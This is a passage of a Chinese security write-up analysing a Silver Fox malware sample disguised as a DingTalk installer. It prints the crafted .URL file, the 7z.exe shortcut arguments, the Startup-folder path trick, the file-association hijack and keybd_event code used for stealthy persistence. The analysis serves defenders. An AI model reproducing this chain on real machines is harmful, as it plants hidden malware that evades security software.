600;"><span leaf="">策略一</span></strong><span leaf="">攻击链全程使用系统白名单组件（explorer.exe、7z.exe），通过多层间接执行规避行为监控，最终将恶意载荷静默植入用户启动项。本文详细拆解该攻击链的技术细节。</span></p><div data-role="title" data-tools="135编辑器" data-id="170661" data-pm-slice="0 0 []"><div style="margin: 10px auto;"><div style="display: flex;align-items: center;margin-left: 5px;"><div style="flex-shrink: 0;margin-right: -20px;transform: rotate(-45deg);-webkit-transform: rotate(-45deg);-moz-transform: rotate(-45deg);-o-transform: rotate(-45deg);"><div style="background: linear-gradient(to right,#ffab3d,#ffab3d);"><p style="font-size: 16px;color: #ffffff;width: 38px;height: 38px;display: flex;align-items: center;justify-content: center;box-sizing:border-box;transform: rotate(45deg);-webkit-transform: rotate(45deg);-moz-transform: rotate(45deg);-o-transform: rotate(45deg);"><strong><span leaf="">0</span></strong><strong data-original-title="" title="" data-num="2"><span leaf="">2</span></strong></p></div></div><div style="width: 100%;max-width:100% !important;box-sizing:border-box;" data-width="100%"><div style="background-color: #edf2ff;padding: 7px 10px 7px 20px;margin: 0 10px;box-sizing:border-box;"><p style="font-size: 16px;color: #1a3782;text-align: left;padding: 0 10px;z-index: 3;box-sizing:border-box;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 18px;">样本信息</span></span></strong></p></div></div></div></div></div><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">样本名： DingDing64x_SETUP_DD_192.exe</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">SHA1： dd5d5f25c4ec060065ebc8a5795cff92ac32ddf3</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">文件类型： EXE</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">文件大小： 31.31 MB (32828416 bytes)</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">家族归属：银狐</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">策略二分析报告链接：</span></p><p><span leaf=""><a href="https://sandbox.qianxin.com/tq/report/toViewReport.dorid=21cf3efa2e40f35eede8cd611147a041&amp;sk=52479977)" target="_blank">https://sandbox.qianxin.com/tq/report/toViewReport.dorid=21cf3efa2e40f35eede8cd611147a041&amp;sk=52479977)</a></span></p></li></ul><div data-role="title" data-tools="135编辑器" data-id="170661" data-pm-slice="0 0 []"><div style="margin: 10px auto;"><div style="display: flex;align-items: center;margin-left: 5px;"><div style="flex-shrink: 0;margin-right: -20px;transform: rotate(-45deg);-webkit-transform: rotate(-45deg);-moz-transform: rotate(-45deg);-o-transform: rotate(-45deg);"><div style="background: linear-gradient(to right,#ffab3d,#ffab3d);"><p style="font-size: 16px;color: #ffffff;width: 38px;height: 38px;display: flex;align-items: center;justify-content: center;box-sizing:border-box;transform: rotate(45deg);-webkit-transform: rotate(45deg);-moz-transform: rotate(45deg);-o-transform: rotate(45deg);"><strong><span leaf="">0</span></strong><strong data-original-title="" title="" data-num="2"><span leaf="">3</span></strong></p></div></div><div style="width: 100%;max-width:100% !important;box-sizing:border-box;" data-width="100%"><div style="background-color: #edf2ff;padding: 7px 10px 7px 20px;margin: 0 10px;box-sizing:border-box;"><p style="font-size: 16px;color: #1a3782;text-align: left;padding: 0 10px;z-index: 3;box-sizing:border-box;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 18px;">攻击全景：恶意软件是如何“悄悄住进”系统的？</span></span></strong></p></div></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">为了躲避安全软件的查杀，攻击者放弃了传统的“直接运行病毒”模式，转而采用 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">“借力打力”</span></strong><span leaf=""> 的策略。整个攻击过程就像一次精心策划的 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">“接力赛”</span></strong><span leaf="">，如图 1 所示。</span></p><ol style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">部署隐形传送门：攻击者在用户环境释放一个特殊的 .URL 文件。当系统或用户无意中触发它时，它会利用 Windows 内置的跳转协议，将执行权悄悄传递给另一个 .lnk 快捷方式文件。</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">篡改“默认打开方式”：攻击者提前在系统后台动手脚，将某种自定义文件类型的“打开命令”替换为解压指令。当快捷方式被触发时，系统会“乖乖地”调用压缩工具执行操作，而不是报错。</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">精准“空投”至开机目录：攻击者利用压缩工具的默认解压特性，配合精心设置的工作目录，让恶意快捷方式被完整解压到电脑的 Startup（开机启动项）文件夹中。</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">静默潜伏：用户下次开机或重启资源管理器时，该快捷方式会自动运行，完成最终的恶意载荷加载。</span></p></li></ol><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img alt="攻击全景" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100005481" data-ratio="0.5574074074074075" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=880a8035&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdupdSVC8U74hCc2ARvaeFhD1WCphnbzvmFl5Mjbojh1DTeVBTY072wPw9M6NSiaBiavuvX9s3ficjDlD4BV6Exvo536Kg89LILfG4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图1 攻击全景</span></center><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 18px;">核心手法拆解</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">本次攻击最危险的地方在于，全程使用的都是系统自带或常见的合法程序，没有调用任何可疑的恶意代码。</span></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 17px;">手法一：特制 .URL 文件充当“协议路由器”</span></span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">普通用户常把 .URL 当作网页书签。但攻击者编写的 .URL 文件中隐藏了 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">file:///</span></code><span leaf=""> 本地路径跳转指令。配合特定的系统标识符，它能欺骗 Windows 资源管理器，使其像打开网页一样，平滑跳转到本地另一个恶意快捷方式。由于它只是纯文本，且格式完全符合微软规范，传统杀毒软件很难将其识别为威胁。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">样本在 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">C:\Users\&lt;User&gt;\AppData\Roaming\Microsoft\Windows\Start Menu\</span></code><span leaf=""> 目录下创建 SVPC.URL 文件，内容如下：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="ini"><code><span leaf=""><span class="code-snippet__section">[{000214A0-0000-0000-C000-000000000046}]</span></span></code><br/><code><span leaf=""><span class="code-snippet__attr">Prop3</span>=<span class="code-snippet__number">19</span>,<span class="code-snippet__number">9</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">[InternetShortcut]</span></span></code><br/><code><span leaf=""><span class="code-snippet__attr">URL</span>=file:///C:\Program Files\SogouInput\<span class="code-snippet__number">15.11</span>.<span class="code-snippet__number">0.2620</span>\<span class="code-snippet__number">2</span>p2WTGnE\<span class="code-snippet__number">2</span>p2WTGnE.lnk</span></code><br/><code><span leaf=""><span class="code-snippet__attr">IDList</span>=</span></code><br/><code><span leaf=""><span class="code-snippet__attr">HotKey</span>=<span class="code-snippet__number">1147</span></span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">技术要点：</span></p><ol style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">CLSID声明：{000214A0-0000-0000-C000-000000000046} 为 Shell Link Object 标识，使系统按快捷方式逻辑解析。</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">协议跳转：</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">file:///</span></code><span leaf=""> 协议指向本地 .lnk 文件，实现二次跳转。</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">HotKey=1147（0x47B）对应 Alt+F12，即为该快捷方式设置了一个全局热键，当检测到 Alt+F12 组合键被按下时，会立即执行预设的 URL 链接，实现快速访问功能。</span></p></li></ol><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 17px;">手法二：巧用压缩工具特性，实现“指哪打哪”</span></span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">攻击者没有使用复杂的脚本，而是利用了 7z.exe 的一个基础特性：如果不指定解压路径，它会默认在“当前工作目录”下解压。攻击者在后台偷偷将工作目录切换到用户目录，而压缩包内部只记录了相对路径 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">Microsoft\Windows\Start Menu\Programs\Startup\</span></code><span leaf="">。两者结合，恶意文件就像装了导航一样，精准降落在开机自启文件夹，且对普通用户完全透明。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">快捷方式（2p2WTGnE.lnk）的结构如下：</span><span leaf=""><br/></span><span leaf="">• 目标程序：</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">&#34;C:\Program Files\SogouInput\15.11.0.2620\RaYimlPT\7z.exe&#34;</span></code><span leaf=""><br/></span><span leaf="">• 执行参数：</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">x &#34;C:\Program Files\SogouInput\15.11.0.2620\RaYimlPT\RaYimlPT.zip&#34;</span></code><span leaf=""><br/></span><span leaf="">• 起始位置（工作目录）：</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">C:\Users\&lt;User&gt;\AppData\Roaming</span></code></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">RaYimlPT.zip 压缩包内存储的是相对路径而非绝对路径：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="css"><code><span leaf="">RaYimlPT<span class="code-snippet__selector-class">.zip</span> 内容结构：</span></code><br/><code><span leaf="">└── Microsoft/</span></code><br/><code><span leaf="">    └── Windows/</span></code><br/><code><span leaf="">        └── Start <span class="code-snippet__selector-tag">Menu</span>/</span></code><br/><code><span leaf="">            └── Programs/</span></code><br/><code><span leaf="">                └── Startup/</span></code><br/><code><span leaf="">                    └── FaCveHBxNRaYimlPT<span class="code-snippet__selector-class">.lnkXnOsgIDx</span></span></code><br/></pre></p><p><span style="color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">由于本次解压未显式指定输出目录，7-Zip 默认以当前工作目录作为解压基路径。在展开压缩包时，系统会自动将基路径与包内相对路径进行拼接，最终落盘至 </span></span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;color: rgb(32, 32, 32);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">%AppData%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\</span></code><span style="color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span leaf="">。该路径恰好对应当前用户的系统“启动”文件夹，属于 Windows 原生的开机自启持久化目录。</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="sql"><code><span leaf="">实际解压路径<span class="code-snippet__operator">=</span> 工作目录(CWD) <span class="code-snippet__operator">+</span> 压缩包内相对路径</span></code><br/><code><span leaf=""><span class="code-snippet__operator">=</span> <span class="code-snippet__operator">%</span>AppData<span class="code-snippet__operator">%</span>\Roaming\ </span></code><br/><code><span leaf=""><span class="code-snippet__operator">+</span> Microsoft\Windows\<span class="code-snippet__keyword">Start</span> Menu\Programs\Startup\</span></code><br/><code><span leaf=""><span class="code-snippet__operator">=</span> <span class="code-snippet__operator">%</span>AppData<span class="code-snippet__operator">%</span>\Roaming\Microsoft\Windows\<span class="code-snippet__keyword">Start</span> Menu\Programs\Startup\</span></code><br/></pre></p><p><span style="color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">样本通过代码模拟按下 </span></span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;color: rgb(32, 32, 32);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">Alt + F12</span></code><span style="color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span leaf=""> 快捷键。系统识别到该组合键后，会自动执行预先绑定的网址（URL）打开或调用流程，全程无需用户交互。</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">keybd_event</span>(VK_MENU, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>); // 按下ALT</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">keybd_event</span>(VK_F12, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>); // 按下F12</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">keybd_event</span>(VK_F12, <span class="code-snippet__number">0</span>, KEYEVENTF_KEYUP, <span class="code-snippet__number">0</span>); // 释放F12</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">keybd_event</span>(VK_MENU, <span class="code-snippet__number">0</span>, KEYEVENTF_KEYUP, <span class="code-snippet__number">0</span>); // 释放ALT</span></code><br/></pre></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 17px;">手法三：劫持系统“文件关联”，借壳执行</span></span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">该手法利用 Windows 系统 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">“文件类型-默认程序”</span></strong><span leaf=""> 关联机制实现隐蔽加载。攻击者在注册表中伪造了特定后缀（</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">.lnkXnOsgIDx</span></code><span leaf=""> / </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">.FaCveHBxN</span></code><span leaf="">）的打开规则，将其 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">shell\open\command</span></code><span leaf=""> 指向合法组件。系统重启时，</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">explorer.exe</span></code><span leaf=""> 自动遍历启动目录，尝试执行 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">FaCveHBxNRaYimlPT.lnkXnOsgIDx</span></code><span leaf="">。系统依据注册表关联将其识别为常规文件打开操作，从而放行并触发预设命令，最终静默拉起 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">C:\Program Files\SogouInput\15.11.0.2620\RaYimlPT\sgfeedbackhelper.exe</span></code><span leaf="">。该过程依托系统原生行为掩护执行链，有效规避基于进程名或哈希的传统拦截策略。</span></p><div data-role="title" data-tools="135编辑器" data-id="170661" data-pm-slice="0 0 []"><div style="margin: 10px auto;"><div style="display: flex;align-items: center;margin-left: 5px;"><div style="flex-shrink: 0;margin-right: -20px;transform: rotate(-45deg);-webkit-transform: rotate(-45deg);-moz-transform: rotate(-45deg);-o-transform: rotate(-45deg);"><div style="background: linear-gradient(to right,#ffab3d,#ffab3d);"><p style="font-size: 16px;color: #ffffff;width: 38px;height: 38px;display: flex;align-items: center;justify-content: center;box-sizing:border-box;transform: rotate(45deg);-webkit-transform: rotate(45deg);-moz-transform: rotate(45deg);-o-transform: rotate(45deg);"><strong><span leaf="">0</span></strong><strong data-original-title="" title="" data-num="2"><span leaf="">4</span></strong></p></div></div><div style="width: 100%;max-width:100% !important;box-sizing:border-box;" data-width="100%"><div style="background-color: #edf2ff;padding: 7px 10px 7px 20px;margin: 0 10px;box-sizing:border-box;"><p style="font-size: 16px;color: #1a3782;text-align: left;padding: 0 10px;z-index: 3;box-sizing:border-box;"><strong data-brushtype="text"><span leaf="">载荷执行—基于目录伪装的DLL（白加黑）</span></strong></p></div></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">无论通过策略一投递至 Startup，还是直接释放，后续执行逻辑完全一致：</span></p><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 